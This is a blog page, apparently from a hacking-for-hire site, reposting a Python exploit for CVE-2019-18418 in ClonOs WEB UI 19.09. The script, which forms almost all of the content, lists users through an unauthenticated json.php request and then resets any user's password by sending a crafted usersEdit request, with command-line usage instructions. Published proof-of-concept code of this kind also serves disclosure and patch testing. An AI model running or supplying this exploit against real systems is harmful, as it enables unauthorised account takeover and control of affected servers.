Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863106707

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: ClonOs WEB UI 19.09 - Improper Access Control
# Date: 2019-10-19
# Exploit Author: İbrahim Hakan Şeker
# Vendor Homepage: https://clonos.tekroutine.com/
# Software Link: https://github.com/clonos/control-pane
# Version: 19.09
# Tested on: ClonOs
# CVE : 2019-18418


import requests
from bs4 import BeautifulSoup
import sys

def getUser(host):
    reg=r'\"'
    r1 = requests.post(host+"/json.php",data={"mode":"getJsonPage","path":"/users/","hash":"","db_path":""},headers={"X-Requested-With":"XMLHttpRequest"})
    r1_source = BeautifulSoup(r1.content,"lxml")
    for k in r1_source.findAll("tr"):
        for i in k.findAll("td")[0]:
            print(f"[+]User Found: {i}  User id: {k.get('id').replace(reg,'')}")
def changePassword(host,user,password,id):
    data={
        "mode":"usersEdit",
        "path":"/users/",
        "hash":"",
        "db_path":"",
        "form_data[username]":f"{user}",
        "form_data[password]":f"{password}",
        "form_data[password1]":f"{password}",
        "form_data[first_name]":"",
        "form_data[last_name]":"",
        "form_data[actuser]":"on",
        "form_data[user_id]": int(id)
        }
    r2=requests.post(host,data=data,headers={"X-Requested-With":"XMLHttpRequest"})
    if r2.status_code==200:print("[+]OK")
    else:print("[-]Fail")
if __name__=="__main__":
    if len(sys.argv)>1:
        if "getUser" in sys.argv[1]:getUser(sys.argv[2])
        elif "changePassword" in sys.argv[1]:changePassword(sys.argv[2],sys.argv[3],sys.argv[4],sys.argv[5])
        else:print("Fail parameter")
    else:print("Usage: exploit.py getUser [http://ip_adres]\nexploit.py changePassword [http://ip_adres] [username] [new_password] [user_id]")